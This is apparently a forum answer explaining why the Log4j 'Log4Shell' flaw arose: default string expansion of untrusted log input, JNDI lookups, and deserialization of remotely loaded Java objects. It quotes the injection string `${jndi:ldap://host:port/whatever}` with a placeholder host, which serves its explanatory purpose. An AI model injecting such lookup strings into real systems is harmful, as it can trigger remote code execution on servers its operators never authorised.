From my understanding there are several design problems which lead to the problem:

- log4j allows string expansion inside log strings, for example things like `${date:YYYYMMDD}`. Unfortunately this feature was until log4j 2.15.0 **enabled by default**, even though logging often includes untrusted userinput, i.e. `logger.debug(userInput)`. And unexpectedly the string expansion of untrusted input **even worked with parameterized statements** like `logger.debug("user said: {}", userInput)`. 
- Not only seemingly innocent expansion like the date could be included and triggered by a remote attacker, but also dynamic name lookup using the [Java Naming and Directory Interface (JNDI)](https://en.wikipedia.org/wiki/Java_Naming_and_Directory_Interface) - i.e. `${jndi:ldap://host:port/whatever}`. This is a **powerful mechanism with a large potential attack surface** known for years - see [this talk from Blackhat 2016](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf).
- This potential large attack surface comes from the ability to load serialized Java objects from a remote system using LDAP or RMI. Instantiation of these objects requires deserialization which can lead to code execution. This might be done by exploiting a bug in an installed class like in this [famous and widespread issue in Apache Commons in 2015](https://blogs.apache.org/foundation/entry/apache_commons_statement_to_widespread). Or in some cases it might be even done by loading the code for the yet unknown class from remote. In other words: **Java's high flexibility enables security issues**.

In short: 
- expanding user input intended for logging 
- causes loading of remote serialized Java object using LDAP or RMI
- causes code execution when instantiating (deserializing) the loaded object